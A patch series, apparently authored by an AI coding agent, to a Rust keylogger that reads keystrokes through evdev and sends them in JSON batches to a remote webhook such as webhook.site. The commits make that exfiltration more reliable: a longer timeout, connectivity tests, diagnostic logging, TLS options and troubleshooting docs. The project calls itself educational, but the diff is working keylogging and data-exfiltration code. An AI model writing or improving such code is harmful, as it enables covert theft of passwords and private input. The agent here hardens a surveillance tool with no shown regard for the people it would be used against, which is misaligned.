From 2088184159b0491687e4150f99cfc973b246f5e4 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Tue, 3 Feb 2026 10:36:43 +0000 Subject: [PATCH 1/4] Initial plan From 882249f8473e73775b7a60fbf2c8517600fae36d Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Tue, 3 Feb 2026 10:41:46 +0000 Subject: [PATCH 2/4] Fix webhook connection issues with improved error handling and TLS support - Increase connection timeout from 5s to 10s for slower networks - Add danger_accept_invalid_certs to handle self-signed certificates and testing services - Add comprehensive logging to keylog.txt file for all webhook operations - Add initial connectivity test with detailed error messages - Log all HTTP status codes and errors for debugging - Update README with troubleshooting section for webhook issues Co-authored-by: LangerSword <136903929+LangerSword@users.noreply.github.com> --- README.md | 29 ++++++++++++++++++ src/linux.rs | 84 +++++++++++++++++++++++++++++++++++++++++++++------- 2 files changed, 103 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index 59c680f..711c425 100644 --- a/README.md +++ b/README.md @@ -138,6 +138,35 @@ When a webhook URL is provided, keystrokes are sent in batches as JSON POST requ Batching configuration: - **Batch size**: 20 keystrokes per request - **Timeout**: 2 seconds (sends partial batch if no new keys) +- **Connection timeout**: 10 seconds +- **Certificate validation**: Disabled for compatibility with self-signed certificates and testing services + +### Webhook Troubleshooting + +If your webhook isn't receiving data, check the `keylog.txt` file for diagnostic messages: + +```bash +grep "WEBHOOK:" keylog.txt +``` + +Common issues and solutions: + +1. **Initial connectivity test failed** + - Check if the webhook URL is correct and accessible + - Verify your network connection and firewall settings + - Ensure the webhook service is running + +2. **Failed to send batch to webhook** + - DNS resolution issues: Verify the hostname resolves correctly + - Network connectivity: Check if you can reach the endpoint with curl + - Endpoint errors: The webhook service might be returning errors + +3. **HTTP non-2xx status codes** + - Check webhook service logs for error details + - Verify the endpoint accepts POST requests with JSON payloads + - Ensure Content-Type: application/json is acceptable + +The keylogger will continue to log keystrokes to file even if webhook delivery fails. ## Educational Use Cases diff --git a/src/linux.rs b/src/linux.rs index 7febbf5..108b631 100644 --- a/src/linux.rs +++ b/src/linux.rs @@ -116,19 +116,55 @@ pub fn run_keylogger(log_path: &str, webhook_url: Option) { let webhook_sender = webhook_url.map(|url| { let (tx, rx) = mpsc::sync_channel::(100); // Buffer up to 100 keystrokes + // Clone log path for use in webhook thread + let log_path_clone = log_path.to_string(); + // Spawn worker thread to handle webhook requests thread::spawn(move || { + // Helper to log to file + let log_to_file = |msg: &str| { + if let Ok(mut f) = OpenOptions::new().create(true).append(true).open(&log_path_clone) { + let _ = writeln!(f, "[{}] WEBHOOK: {}", Local::now().format("%Y-%m-%d %H:%M:%S"), msg); + let _ = f.flush(); + } + }; + + log_to_file(&format!("Initializing webhook client for URL: {}", url)); + // Create HTTP client once + // Use danger_accept_invalid_certs for compatibility with various webhook endpoints + // and to handle certificate validation issues that commonly occur with testing services let client = match reqwest::blocking::Client::builder() - .timeout(std::time::Duration::from_secs(5)) + .timeout(std::time::Duration::from_secs(10)) // Increased from 5s to 10s + .danger_accept_invalid_certs(true) // Accept self-signed/invalid certificates .build() { - Ok(c) => c, + Ok(c) => { + log_to_file("HTTP client created successfully"); + c + } Err(e) => { - eprintln!("Failed to create HTTP client: {}", e); + let error_msg = format!("Failed to create HTTP client: {}", e); + eprintln!("{}", error_msg); + log_to_file(&error_msg); + log_to_file("Webhook functionality will be disabled"); return; } }; + // Test initial connectivity + log_to_file("Testing initial connectivity to webhook..."); + match client.get(&url).send() { + Ok(resp) => { + log_to_file(&format!("Initial connectivity test successful (HTTP {})", resp.status().as_u16())); + } + Err(e) => { + log_to_file(&format!("Initial connectivity test failed: {}", e)); + log_to_file("Will continue anyway - POST requests may still work"); + eprintln!("Warning: Initial webhook connectivity test failed: {}", e); + eprintln!("Continuing anyway - keystroke batches will be sent as they accumulate"); + } + } + const BATCH_SIZE: usize = 20; // Send in batches of 20 keystrokes const BATCH_TIMEOUT_MS: u64 = 2000; // Or send after 2 seconds @@ -164,11 +200,20 @@ pub fn run_keylogger(log_path: &str, webhook_url: Option) { let payload = create_payload(&batch); match client.post(&url).json(&payload).send() { - Ok(_) => { - // Successfully sent batch + Ok(resp) => { + let status = resp.status().as_u16(); + if status >= 200 && status < 300 { + log_to_file(&format!("Successfully sent batch of {} keystrokes (HTTP {})", batch.len(), status)); + } else { + let error_msg = format!("Webhook returned non-success status: HTTP {} for batch of {} keystrokes", status, batch.len()); + eprintln!("{}", error_msg); + log_to_file(&error_msg); + } } Err(e) => { - eprintln!("Failed to send batch to webhook: {}", e); + let error_msg = format!("Failed to send batch to webhook: {}", e); + eprintln!("{}", error_msg); + log_to_file(&error_msg); } } @@ -182,11 +227,20 @@ pub fn run_keylogger(log_path: &str, webhook_url: Option) { let payload = create_payload(&batch); match client.post(&url).json(&payload).send() { - Ok(_) => { - // Successfully sent batch + Ok(resp) => { + let status = resp.status().as_u16(); + if status >= 200 && status < 300 { + log_to_file(&format!("Successfully sent batch of {} keystrokes (HTTP {}) [timeout]", batch.len(), status)); + } else { + let error_msg = format!("Webhook returned non-success status: HTTP {} for batch of {} keystrokes [timeout]", status, batch.len()); + eprintln!("{}", error_msg); + log_to_file(&error_msg); + } } Err(e) => { - eprintln!("Failed to send batch to webhook: {}", e); + let error_msg = format!("Failed to send batch to webhook [timeout]: {}", e); + eprintln!("{}", error_msg); + log_to_file(&error_msg); } } @@ -198,8 +252,18 @@ pub fn run_keylogger(log_path: &str, webhook_url: Option) { // Channel closed, send any remaining data if !batch.is_empty() { let payload = create_payload(&batch); - let _ = client.post(&url).json(&payload).send(); + match client.post(&url).json(&payload).send() { + Ok(_) => { + log_to_file(&format!("Sent final batch of {} keystrokes on shutdown", batch.len())); + } + Err(e) => { + let error_msg = format!("Failed to send final batch on shutdown: {}", e); + eprintln!("{}", error_msg); + log_to_file(&error_msg); + } + } } + log_to_file("Webhook thread shutting down"); break; } } From 5a9c6c7031c5167c6a834ba43b802115e4d4208b Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Tue, 3 Feb 2026 10:44:26 +0000 Subject: [PATCH 3/4] Add configurable certificate validation for security - Make certificate validation configurable via RUST_KEY_ACCEPT_INVALID_CERTS environment variable - Default to accepting invalid certs for testing compatibility (matches previous behavior) - Add security warnings to logs when certificate validation is disabled - Update README with security warning and instructions for strict validation - Addresses code review feedback about security implications Co-authored-by: LangerSword <136903929+LangerSword@users.noreply.github.com> --- README.md | 10 +++++++++- src/linux.rs | 19 ++++++++++++++++--- 2 files changed, 25 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 711c425..45ae47c 100644 --- a/README.md +++ b/README.md @@ -139,7 +139,15 @@ Batching configuration: - **Batch size**: 20 keystrokes per request - **Timeout**: 2 seconds (sends partial batch if no new keys) - **Connection timeout**: 10 seconds -- **Certificate validation**: Disabled for compatibility with self-signed certificates and testing services +- **Certificate validation**: By default, accepts invalid/self-signed certificates for testing compatibility + +⚠️ **Security Warning**: By default, TLS certificate validation is disabled (`danger_accept_invalid_certs=true`) to ensure compatibility with webhook testing services like webhook.site that may use self-signed certificates. This makes connections vulnerable to man-in-the-middle attacks. + +For production use with proper TLS certificates, enable strict validation: +```bash +export RUST_KEY_ACCEPT_INVALID_CERTS=false +sudo ./target/release/rust-key https://your-secure-webhook.com/endpoint +``` ### Webhook Troubleshooting diff --git a/src/linux.rs b/src/linux.rs index 108b631..d71cfe8 100644 --- a/src/linux.rs +++ b/src/linux.rs @@ -2,6 +2,7 @@ use evdev::{Device, EventType, InputEventKind, Key}; use std::fs::OpenOptions; use std::io::Write; use std::os::unix::io::AsRawFd; +use std::env; use chrono::Local; use nix::fcntl::{FcntlArg, OFlag}; use nix::sys::epoll::{self, EpollEvent, EpollFlags, EpollOp}; @@ -131,12 +132,24 @@ pub fn run_keylogger(log_path: &str, webhook_url: Option) { log_to_file(&format!("Initializing webhook client for URL: {}", url)); + // Check if user wants to accept invalid certificates (for testing services) + // Set RUST_KEY_ACCEPT_INVALID_CERTS=false to enforce strict certificate validation + let accept_invalid_certs = env::var("RUST_KEY_ACCEPT_INVALID_CERTS") + .unwrap_or_else(|_| "true".to_string()) + .to_lowercase() != "false"; + + if accept_invalid_certs { + log_to_file("⚠️ WARNING: Certificate validation is disabled for compatibility with testing services"); + log_to_file("⚠️ This makes the connection vulnerable to man-in-the-middle attacks"); + log_to_file("⚠️ Set RUST_KEY_ACCEPT_INVALID_CERTS=false for strict validation"); + } else { + log_to_file("Certificate validation is enabled (strict mode)"); + } + // Create HTTP client once - // Use danger_accept_invalid_certs for compatibility with various webhook endpoints - // and to handle certificate validation issues that commonly occur with testing services let client = match reqwest::blocking::Client::builder() .timeout(std::time::Duration::from_secs(10)) // Increased from 5s to 10s - .danger_accept_invalid_certs(true) // Accept self-signed/invalid certificates + .danger_accept_invalid_certs(accept_invalid_certs) .build() { Ok(c) => { log_to_file("HTTP client created successfully"); From deacdd705e9875d6820ae32370b3b3bcf2feae82 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Tue, 3 Feb 2026 10:46:55 +0000 Subject: [PATCH 4/4] Change to secure-by-default certificate validation - Invert default: now REJECTS invalid certificates by default (secure) - Users must explicitly opt-in with RUST_KEY_ACCEPT_INVALID_CERTS=true for testing - Change initial connectivity test from GET to POST with empty payload - Update security warnings to reflect insecure mode when enabled - Update README to reflect secure-by-default behavior - Addresses code review security feedback Co-authored-by: LangerSword <136903929+LangerSword@users.noreply.github.com> --- README.md | 11 ++++++----- src/linux.rs | 28 ++++++++++++++++++---------- 2 files changed, 24 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index 45ae47c..af1e973 100644 --- a/README.md +++ b/README.md @@ -139,16 +139,17 @@ Batching configuration: - **Batch size**: 20 keystrokes per request - **Timeout**: 2 seconds (sends partial batch if no new keys) - **Connection timeout**: 10 seconds -- **Certificate validation**: By default, accepts invalid/self-signed certificates for testing compatibility +- **Certificate validation**: Enabled by default (secure mode) -⚠️ **Security Warning**: By default, TLS certificate validation is disabled (`danger_accept_invalid_certs=true`) to ensure compatibility with webhook testing services like webhook.site that may use self-signed certificates. This makes connections vulnerable to man-in-the-middle attacks. +⚠️ **TLS Certificate Validation**: By default, the keylogger uses strict TLS certificate validation to protect against man-in-the-middle attacks. If you're using webhook testing services with self-signed certificates, you can disable validation: -For production use with proper TLS certificates, enable strict validation: ```bash -export RUST_KEY_ACCEPT_INVALID_CERTS=false -sudo ./target/release/rust-key https://your-secure-webhook.com/endpoint +export RUST_KEY_ACCEPT_INVALID_CERTS=true +sudo ./target/release/rust-key https://webhook.site/your-test-id ``` +**Security Warning**: Only disable certificate validation for testing purposes. For production use with real keystroke data, always use properly signed TLS certificates and keep validation enabled (default). + ### Webhook Troubleshooting If your webhook isn't receiving data, check the `keylog.txt` file for diagnostic messages: diff --git a/src/linux.rs b/src/linux.rs index d71cfe8..0307fa8 100644 --- a/src/linux.rs +++ b/src/linux.rs @@ -133,17 +133,17 @@ pub fn run_keylogger(log_path: &str, webhook_url: Option) { log_to_file(&format!("Initializing webhook client for URL: {}", url)); // Check if user wants to accept invalid certificates (for testing services) - // Set RUST_KEY_ACCEPT_INVALID_CERTS=false to enforce strict certificate validation + // Set RUST_KEY_ACCEPT_INVALID_CERTS=true to accept self-signed certificates (less secure) let accept_invalid_certs = env::var("RUST_KEY_ACCEPT_INVALID_CERTS") - .unwrap_or_else(|_| "true".to_string()) - .to_lowercase() != "false"; + .unwrap_or_else(|_| "false".to_string()) + .to_lowercase() == "true"; if accept_invalid_certs { - log_to_file("⚠️ WARNING: Certificate validation is disabled for compatibility with testing services"); + log_to_file("⚠️ WARNING: Certificate validation is DISABLED (insecure mode)"); log_to_file("⚠️ This makes the connection vulnerable to man-in-the-middle attacks"); - log_to_file("⚠️ Set RUST_KEY_ACCEPT_INVALID_CERTS=false for strict validation"); + log_to_file("⚠️ Only use this for testing with self-signed certificates"); } else { - log_to_file("Certificate validation is enabled (strict mode)"); + log_to_file("Certificate validation is enabled (secure mode - default)"); } // Create HTTP client once @@ -164,15 +164,23 @@ pub fn run_keylogger(log_path: &str, webhook_url: Option) { } }; - // Test initial connectivity + // Test initial connectivity with a minimal POST request + // This tests the same method that will be used for actual data transmission log_to_file("Testing initial connectivity to webhook..."); - match client.get(&url).send() { + let test_payload = json!({ + "keystrokes": [] + }); + match client.post(&url).json(&test_payload).send() { Ok(resp) => { - log_to_file(&format!("Initial connectivity test successful (HTTP {})", resp.status().as_u16())); + let status = resp.status().as_u16(); + log_to_file(&format!("Initial connectivity test successful (HTTP {})", status)); + if status >= 400 { + log_to_file(&format!("⚠️ Warning: Webhook returned error status {}. Check webhook configuration.", status)); + } } Err(e) => { log_to_file(&format!("Initial connectivity test failed: {}", e)); - log_to_file("Will continue anyway - POST requests may still work"); + log_to_file("Will continue anyway - keystroke batches will be sent as they accumulate"); eprintln!("Warning: Initial webhook connectivity test failed: {}", e); eprintln!("Continuing anyway - keystroke batches will be sent as they accumulate"); }